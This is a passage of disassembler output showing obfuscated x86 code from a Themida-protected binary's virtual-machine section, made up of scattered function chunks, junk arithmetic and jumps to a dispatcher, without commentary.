; START	OF FUNCTION CHUNK FOR sub_559D1D


loc_552A87:				; CODE XREF: sub_559D1D-53CBj
		add	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	edx
		push	[esp+0Ch+var_8]
		pop	edx
		pop	[esp+0Ch+var_C]
		pop	esp
		bt	[esp+4+var_4], eax
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_559D1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554114


loc_552AA7:				; CODE XREF: sub_554114+18j
		pop	esi
		not	ecx
		push	edx
		mov	edx, 5D173398h
		add	ecx, edx
		pop	edx
		xor	ecx, 0ECFEBD95h
		and	eax, ecx
		mov	ecx, [esp-4+arg_0]
		push	1143h
		jmp	loc_553416
; END OF FUNCTION CHUNK	FOR sub_554114
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552AC8:				; CODE XREF: sub_55ABF6+FEAj
		sub	al, 7Ah
		sub	al, bl
		push	cx
		push	eax
		jmp	loc_553B3F
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_552AD4:				; CODE XREF: Themida_:0055294Bj
		push	ecx
		mov	ecx, 5CFD70A6h
		jmp	loc_55D923
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_552ADF:				; CODE XREF: sub_5546E4-19Fj
		xor	ebp, [esp+0]
		jmp	loc_55423B
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A407


loc_552AE7:				; CODE XREF: sub_55A407+Dj
		dec	edx
		xor	edx, 33183D4Fh
		jmp	$+5
		push	0
		sub	[esp+0Ch+var_C], edx
		jmp	loc_55B276
; END OF FUNCTION CHUNK	FOR sub_55A407
; ---------------------------------------------------------------------------


loc_552B00:				; CODE XREF: Themida_:0055362Ej
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	0B15h
		mov	[esp], edi
		pop	ebx
		jmp	loc_5595F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552B15:				; CODE XREF: sub_55ABF6-16ADj
		pop	ebp
		sub	eax, ebx
		jmp	loc_55DACE
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_554FF8

; =============== S U B	R O U T	I N E =======================================



sub_552B28	proc near		; DATA XREF: Themida_:00551240o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00552BC5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00555BA4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005560D6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005566DC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00557A07 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055A2F3 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0055BD85 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055C5E6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055CE91 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055DB3E SIZE 00000013 BYTES

		lodsb
		push	dx
		mov	dl, 39h
		sub	al, 97h
		jmp	loc_55C5E6
sub_552B28	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B7DE


loc_552B34:				; CODE XREF: sub_55B7DE+238Ej
		mov	edi, ebp
		jmp	loc_557B52
; END OF FUNCTION CHUNK	FOR sub_55B7DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554085


loc_552B3B:				; CODE XREF: sub_554085+18ABj
		mov	al, bl
		pop	ebx
		xor	dl, al
		pop	ax
		add	bl, dl
		pop	edx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_5516B0
; END OF FUNCTION CHUNK	FOR sub_554085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_552B50:				; CODE XREF: sub_55AE3A-3234j
		pop	ecx
		pop	ebx
		jmp	loc_5552C4
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_552B57:				; CODE XREF: Themida_:0055D616j
		xor	ecx, [esp]
		pop	esp
		mov	[esp], esp
		push	6FF6h
		mov	[esp], ecx
		jmp	loc_555B90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552B6B:				; CODE XREF: sub_55ABF6-21ABj
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		pop	[esp-8+arg_4]
		not	edx
		xchg	edx, [esp-0Ch+arg_8]
		mov	eax, [esp-0Ch+arg_8]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	7CF9h
		mov	[esp-4+arg_0], ecx
		mov	ecx, 4
		add	ebx, 6384208Bh
		jmp	loc_55B835
; ---------------------------------------------------------------------------


loc_552B9D:				; CODE XREF: sub_55ABF6-2793j
		inc	[esp-4+arg_0]
		pop	edi
		jmp	loc_5589D3
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_552BA6	proc near		; CODE XREF: sub_559249-3C5Fj
					; sub_559249-56Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00553BB7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005569D8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00557137 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00557D84 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00559BFE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00559F4F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055B9EB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055CF28 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055D82D SIZE 00000046 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	7ED3h
		jmp	loc_55CF28
sub_552BA6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_552BB9:				; CODE XREF: sub_552215+1F67j
		pop	esp
		jmp	loc_55D5C4
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------


loc_552BBF:				; CODE XREF: Themida_:0055A146j
		pop	edx
		jmp	loc_55D610
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B28


loc_552BC5:				; CODE XREF: sub_552B28+77E4j
		mov	[esp+8+var_8], ebx
		mov	bh, 0E3h
		jmp	loc_55BD85
; END OF FUNCTION CHUNK	FOR sub_552B28
; ---------------------------------------------------------------------------


loc_552BCF:				; CODE XREF: Themida_:00556AEEj
		sub	esi, 0D0A7703h
		sub	esi, edi
		add	esi, 0D0A7703h
		pop	edi
		shr	esi, 6
		jmp	loc_559767
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553144


loc_552BF5:				; CODE XREF: sub_553144+160Bj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		jmp	loc_55A859
; END OF FUNCTION CHUNK	FOR sub_553144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_552C0A:				; CODE XREF: sub_55314C+3F38j
		sub	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		mov	eax, [esp+4+var_4]
		push	68DFh
		mov	[esp+8+var_8], eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_55B5A3
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559E57


loc_552C36:				; CODE XREF: sub_559E57+3BCBj
		push	small 3228h
		mov	[esp+2+var_2], cx
		push	dx
		jmp	loc_55C47E
; END OF FUNCTION CHUNK	FOR sub_559E57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_552C45:				; CODE XREF: sub_55314C+44EBj
		mov	edx, 5E51B771h
		add	edx, 42960BF2h
		sub	edx, 5DC4447h
		jmp	loc_55CD2A
; ---------------------------------------------------------------------------


loc_552C5B:				; CODE XREF: sub_55314C+5F56j
		push	esp
		mov	edi, [esp+8+var_8]
		jmp	loc_55CBDD
; END OF FUNCTION CHUNK	FOR sub_55314C

; =============== S U B	R O U T	I N E =======================================



sub_552C64	proc near		; DATA XREF: Themida_:00551274o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005532A5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055334D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00553874 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00559721 SIZE 00000031 BYTES

		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		jmp	loc_553874
sub_552C64	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552C6F:				; CODE XREF: sub_55ABF6-60CBj
		add	esp, 4
		jmp	loc_552959
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556D34


loc_552C77:				; CODE XREF: sub_556D34+1A57j
		push	esi
		jmp	loc_556712
; END OF FUNCTION CHUNK	FOR sub_556D34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BEDA


loc_552C7D:				; CODE XREF: sub_55BEDA-A489j
		add	esi, 79B31B26h
		add	esi, 1C4A3065h
		sub	esi, ecx
		sub	esi, 1C4A3065h
		jmp	sub_5528B1
; END OF FUNCTION CHUNK	FOR sub_55BEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E8E


loc_552C96:				; CODE XREF: sub_552E8E+46E7j
		xor	edx, ebp
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5583CD
; END OF FUNCTION CHUNK	FOR sub_552E8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552CA6:				; CODE XREF: sub_55ABF6-439Aj
		push	4DF40E17h
		jmp	loc_55B7CC
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_552CB0:				; CODE XREF: Themida_:00554BF3j
		push	edx
		mov	edx, 444E377Eh
		shl	edx, 1
		push	ebx
		jmp	loc_55B037
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_552CBE:				; CODE XREF: sub_55B62C-425Fj
		push	ecx
		mov	ecx, 2576164Bh
		neg	ecx
		jmp	loc_55949A
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552CCB:				; CODE XREF: sub_55ABF6-8749j
		add	edi, 15B00778h
		pop	ecx
		sub	ebx, edi
		mov	edi, [esp+2+var_4+2]
		jmp	loc_55CC30
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_552CDC:				; CODE XREF: sub_55AE3A+2BFAj
		sub	bl, 5Fh
		push	ecx
		mov	ch, bl
		jmp	loc_557C04
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_552CE7:				; CODE XREF: sub_55326E+6AE8j
		pop	esp
		mov	[esp+0], eax
		push	ebx
		mov	ebx, 38h
		jmp	loc_555849
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------


loc_552CF6:				; CODE XREF: Themida_:0055CE0Bj
		sub	esp, 4
		mov	[esp], esp
		push	eax
		mov	eax, 4
		jmp	loc_553BD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559977


loc_552D07:				; CODE XREF: sub_559977-7081j
		mov	bx, 2D28h
		jmp	loc_55B361
; END OF FUNCTION CHUNK	FOR sub_559977

; =============== S U B	R O U T	I N E =======================================



sub_552D10	proc near		; DATA XREF: Themida_:00551260o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 0055244C SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00552588 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00555407 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00556D9A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055B682 SIZE 00000012 BYTES

		mov	ax, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], edi
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	edx, 1C0436FEh
		push	1A70h
		jmp	loc_555407
sub_552D10	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552D49:				; CODE XREF: sub_55ABF6+31j
		or	ebp, 4BD15F62h
		push	eax
		jmp	loc_551D6A
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_552D55:				; CODE XREF: sub_559249+B9Dj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+20h+var_20]
		jmp	loc_55B138
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552D66:				; CODE XREF: sub_55ABF6-2E9Dj
		add	eax, ecx
		pop	ecx
		add	eax, 4
		jmp	loc_5545F0
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_552D71	proc near		; CODE XREF: sub_55B304-57EFj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 54A436B5h
		sub	[esp+4+arg_0], 25290663h
		add	[esp+4+arg_0], ecx
		add	[esp+4+arg_0], 25290663h
		pop	ecx
		add	[esp+arg_0], esi
		push	ebx
		push	54A436B5h
		pop	ebx
		sub	[esp+4+arg_0], ebx
		pop	ebx
		pop	esi
		add	[esp-4+arg_0], eax
		push	417Dh
		mov	[esp+0], eax
		mov	eax, 21F26CB2h
		sub	[esp+arg_0], eax
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_5514E3
sub_552D71	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_552DC7:				; CODE XREF: sub_55C814+805j
		mov	ebx, 49A94792h
		add	ebx, 2D5498Fh
		push	edx
		mov	edx, 23490935h
		and	ebx, edx
		jmp	loc_558244
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_552DDF:				; CODE XREF: sub_55CE17-190Bj
		mov	ebp, 120E6491h
		add	ebp, 8A42CBCh
		jmp	loc_558915
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_552DEF:				; CODE XREF: sub_55326E+8CCj
		mov	edx, 61103E19h
		neg	edx
		add	edx, 6DB8602Fh
		jmp	loc_5572C6
; END OF FUNCTION CHUNK	FOR sub_55326E

; =============== S U B	R O U T	I N E =======================================



sub_552E01	proc near		; CODE XREF: sub_552215+7D68j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00557AD2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055C988 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055D3BF SIZE 00000022 BYTES

		push	ebp
		jmp	loc_557AD2
sub_552E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_552E07:				; CODE XREF: sub_55A4DA-19C7j
		mov	edi, esp
		push	edx
		mov	edx, 6DBE1EB5h
		jmp	loc_5545A2
; END OF FUNCTION CHUNK	FOR sub_55A4DA

; =============== S U B	R O U T	I N E =======================================



sub_552E14	proc near		; DATA XREF: Themida_:005512D0o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00558635 SIZE 0000000B BYTES

		lodsb
		push	2C47h
		mov	[esp+4+var_4], ecx
		mov	ch, 11h
		add	ch, 5Eh
		add	ch, 1
		or	ch, 81h
		shl	ch, 3
		add	ch, 0Fh
		sub	ch, 0FCh
		sub	al, 59h
		add	al, ch
		add	al, 59h
		pop	ecx
		jmp	loc_558635
sub_552E14	endp

; ---------------------------------------------------------------------------


loc_552E3D:				; CODE XREF: Themida_:00555B9Fj
		push	esp
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edi, 4
		push	ebx
		push	2
		pop	ebx
		sub	edi, 66F203F3h
		add	edi, 7E760D4Dh
		add	edi, ebx
		sub	edi, 7E760D4Dh
		add	edi, 66F203F3h
		pop	ebx
		jmp	loc_557CCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552E7F:				; CODE XREF: sub_55ABF6+75Fj
		and	cl, bh
		pop	ebx
		jmp	loc_555581
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_552E87:				; CODE XREF: sub_55CE17-B208j
		mov	ebp, esp
		jmp	loc_5530CC
; END OF FUNCTION CHUNK	FOR sub_55CE17

; =============== S U B	R O U T	I N E =======================================



sub_552E8E	proc near		; DATA XREF: Themida_:00551270o

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00552702 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00552C96 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00553E24 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00557560 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005583CD SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0055AF52 SIZE 00000008 BYTES

		lodsd
		xor	eax, ebx
		push	ebx
		mov	ebx, 388EA590h
		push	edi
		mov	edi, 4A900ED1h
		add	eax, edi
		jmp	loc_553E24
sub_552E8E	endp

; ---------------------------------------------------------------------------


loc_552EA4:				; CODE XREF: Themida_:00551E0Ej
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_55AFA9
; ---------------------------------------------------------------------------


loc_552EB7:				; CODE XREF: Themida_:00555418j
		add	eax, 4
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5574CA
; ---------------------------------------------------------------------------


loc_552EE3:				; CODE XREF: Themida_:00555458j
		pop	ebp
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		inc	dword ptr [esp]
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552EFF:				; CODE XREF: sub_55ABF6-3E0Cj
		shr	esi, 1
		jmp	loc_557E59
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_552F06:				; CODE XREF: sub_559249-1B96j
		add	esi, eax
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		add	esi, 4
		sub	esp, 4
		mov	[esp+10h+var_10], esi
		push	[esp+10h+var_C]
		pop	esi
		pop	[esp+10h+var_10]
		pop	esp
		jmp	loc_555983
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_552F2E:				; CODE XREF: sub_557D5E-6241j
		sub	eax, 29B15516h
		add	eax, 488D3176h
		add	eax, 58D96E5Ah
		sub	eax, edi
		sub	eax, 58D96E5Ah
		push	edi
		mov	edi, 488D3176h
		sub	eax, edi
		pop	edi
		add	eax, 29B15516h
		push	dword ptr [esp+0]
		jmp	loc_558C26
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BDF0


loc_552F5A:				; CODE XREF: sub_55BDF0-3151j
		pop	ebx
		sub	ebp, 38E31C8Ah
		push	esi
		mov	esi, 38C423AFh
		add	ebp, esi
		pop	esi
		sub	ebp, 749E7D0h
		add	eax, ebp
		pop	ebp
		push	esi
		jmp	loc_55A44F
; END OF FUNCTION CHUNK	FOR sub_55BDF0
; ---------------------------------------------------------------------------


loc_552F79:				; CODE XREF: Themida_:0055A61Bj
		pop	ecx
		add	eax, 3E272EFFh
		add	eax, esi
		sub	eax, 3E272EFFh
		add	eax, 673C65BBh
		push	edi
		mov	edi, 0CDC03FBh
		add	eax, edi
		jmp	loc_556614

; =============== S U B	R O U T	I N E =======================================



sub_552F98	proc near		; CODE XREF: sub_554628+368j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

; FUNCTION CHUNK AT 005537ED SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00554CE3 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0055850F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055C4D6 SIZE 00000009 BYTES

		push	ebp
		push	esi
		pop	ebp
		jmp	loc_5537ED
sub_552F98	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_552FA0:				; CODE XREF: sub_557D5E-1F09j
		or	ebp, 4764800h
		jmp	loc_558047
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552FAB:				; CODE XREF: sub_55ABF6+2D63j
		push	dword ptr [edi+eax*4]
		add	[esp+2+var_4+2], 18610E4Eh
		pop	eax
		push	6213h
		mov	[esp+2+var_4+2], ecx
		mov	ecx, 18610E4Eh
		jmp	loc_552A16
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_552FC8:				; CODE XREF: Themida_:00556F8Ej
		mov	ebp, 1EFB3B00h
		jmp	loc_55DB2E
; ---------------------------------------------------------------------------


loc_552FD2:				; CODE XREF: Themida_:00559BF9j
		push	dword ptr [esp]
		jmp	loc_55AA47
; ---------------------------------------------------------------------------


loc_552FDA:				; CODE XREF: Themida_:005593F9j
		inc	esi
		add	esi, 458B322Ah
		jmp	loc_55951A
; ---------------------------------------------------------------------------


loc_552FE6:				; CODE XREF: Themida_:00559F66j
		sub	ebx, 30246B03h
		pop	eax
		push	eax
		mov	eax, 7F63590Ch
		neg	eax
		and	eax, 1F85682Eh
		sub	eax, 842020h
		jmp	loc_5574B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C840


loc_553004:				; CODE XREF: sub_55C840-7B22j
		mov	dl, [esp+0]
		jmp	loc_554BAD
; END OF FUNCTION CHUNK	FOR sub_55C840
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55300C:				; CODE XREF: sub_55A4DA-3BCCj
		pop	edx
		pop	edi
		jmp	loc_5526B4
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AABB


loc_553013:				; CODE XREF: sub_55AABB-41CAj
		and	eax, 0B15669Eh
		not	eax
		jmp	loc_5588DD
; END OF FUNCTION CHUNK	FOR sub_55AABB
; ---------------------------------------------------------------------------


loc_55301F:				; CODE XREF: Themida_:0055431Aj
		add	eax, 0AD32195h
		xor	eax, 4CB3045Fh
		jmp	loc_55223D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55302E:				; CODE XREF: sub_55CE17-8352j
		pop	ebp
		push	esi
		jmp	loc_55D5B3
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_553035:				; CODE XREF: sub_5523E1+995Cj
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		mov	ax, [esp+0]
		push	7E4Bh
		jmp	loc_55535E
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------


loc_553049:				; CODE XREF: Themida_:0055B482j
		push	small 0C10h
		jmp	loc_552265
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553052:				; CODE XREF: sub_55ABF6-116Cj
		add	dl, 0AFh
		jmp	loc_55BF23
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554F87


loc_55305A:				; CODE XREF: sub_554F87+7C0Cj
		mov	[esp+0], eax
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_554F87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_553062:				; CODE XREF: sub_55C814-A8DFj
		dec	esi
		sub	esi, 56F5094Dh
		xor	esi, 0F054F996h
		mov	edi, esi
		jmp	loc_556F45
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_553076:				; CODE XREF: Themida_:0055D632j
		sub	al, bl
		jmp	loc_5538F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_55307D:				; CODE XREF: sub_552215+15D3j
		and	esi, edi
		pop	edi
		jmp	loc_552315
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------


loc_553085:				; CODE XREF: Themida_:005527B6j
		sub	ebx, 0A823EFDh
		pop	ecx
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_553091:				; CODE XREF: sub_55AE3A-9725j
		sub	al, 98h
		pop	ecx
		jmp	loc_553A83
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_553099:				; CODE XREF: Themida_:00555ED6j
		xchg	edi, [esp]
		mov	esp, [esp]
		push	25ECh
		mov	[esp], edx
		push	eax
		push	2C95h
		mov	[esp], ebp
		mov	ebp, 7D6D15DEh
		shl	ebp, 8
		inc	ebp
		push	ebx
		push	ecx
		push	35CE1D6Ah
		pop	ecx
		sub	ecx, 28E038B2h
		jmp	loc_55DE6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_5530CC:				; CODE XREF: sub_55CE17-9F8Ej
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		xor	ebx, 40F2B08Eh
		and	eax, ebx
		jmp	loc_55692A
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C840


loc_5530E6:				; CODE XREF: sub_55C840-7C90j
		add	dl, 0DDh
		xchg	bh, dl
		not	bh
		xchg	bh, dl
		not	dl
		dec	dl
		jmp	loc_55154B
; END OF FUNCTION CHUNK	FOR sub_55C840
; ---------------------------------------------------------------------------


loc_5530F8:				; CODE XREF: Themida_:00554AE2j
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	1C10h
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esi, 2
		push	esi
		jmp	loc_551DDD
; ---------------------------------------------------------------------------


loc_553127:				; CODE XREF: Themida_:00558AB0j
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_553CF3
; ---------------------------------------------------------------------------


loc_55313E:				; CODE XREF: Themida_:0055C9DEj
		pop	eax
		jmp	loc_55D2A2

; =============== S U B	R O U T	I N E =======================================



sub_553144	proc near		; CODE XREF: sub_5571D3-131Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00552BF5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005537A2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00553990 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0055473F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00556961 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055A859 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055AAC4 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0055BE3F SIZE 0000000A BYTES

		sub	esp, 4
		jmp	loc_55473F
sub_553144	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_55314C	proc near		; CODE XREF: sub_556D34+6F3Aj

